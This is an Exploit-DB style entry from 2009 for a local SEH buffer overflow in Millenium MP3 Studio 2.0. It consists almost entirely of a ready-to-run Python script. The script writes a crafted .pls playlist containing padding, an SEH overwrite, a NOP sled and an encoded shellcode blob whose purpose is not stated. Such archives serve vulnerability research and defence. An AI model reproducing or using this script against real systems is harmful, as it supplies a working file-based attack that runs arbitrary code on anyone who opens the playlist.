# Millenium MP3 Studio 2.0 - 'pls' Local Buffer Overflow

**EDB-ID:**
10240

**CVE:**

**EDB Verified:** ✓

**Author:**
MOLOTOV

**Type:**
LOCAL

**Exploit:** / {}

**Platform:**
WINDOWS

**Date:**
2009-11-28

**Vulnerable App:**

```
#!/usr/bin/env python


# Millenium MP3 Studio 2.0 Buffer overflow exploit
# Coded By Molotov ( Moroccans Hackers )
# THX: Allah - Simo36 - Fr33xM4n - Dr.Html - Memorhax - Kevin - Stylextra .

shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x53\x4b\x38\x4e\x57"
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x51\x4b\x58"
"\x4f\x45\x42\x52\x41\x50\x4b\x4e\x49\x44\x4b\x48\x46\x43\x4b\x38"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x32\x46\x30\x45\x37\x45\x4e\x4b\x58"
"\x4f\x45\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x30\x4b\x44"
"\x4b\x38\x4f\x55\x4e\x51\x41\x50\x4b\x4e\x4b\x48\x4e\x41\x4b\x48"
"\x41\x50\x4b\x4e\x49\x58\x4e\x35\x46\x42\x46\x30\x43\x4c\x41\x33"
"\x42\x4c\x46\x56\x4b\x58\x42\x44\x42\x43\x45\x48\x42\x4c\x4a\x37"
"\x4e\x50\x4b\x48\x42\x44\x4e\x30\x4b\x38\x42\x47\x4e\x41\x4d\x4a"
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x48\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x56\x4e\x33\x4f\x55\x41\x43"
"\x48\x4f\x42\x46\x48\x35\x49\x48\x4a\x4f\x43\x38\x42\x4c\x4b\x57"
"\x42\x45\x4a\x56\x50\x37\x4a\x4d\x44\x4e\x43\x37\x4a\x56\x4a\x59"
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x46"
"\x4e\x56\x43\x56\x42\x30\x5a")

header = "[playlist]\n"
header+="NumberOfEntries=1\n"
header+="File1=http://"

pad0x1 = '\x41'* 4103
n_seh = '\xeb\x1c\x90\x90'
seh= '\x93\x55\x01\x10'
nop = '\x90' * 28
pad0x2= '\x44'  *1000

packet = header + pad0x1 + n_seh + seh + nop +shellcode+ pad0x2

file=open('exploit.pls','w')
file.write(packet)
file.close()
```

**Tags:**

**Advisory/Source:** Link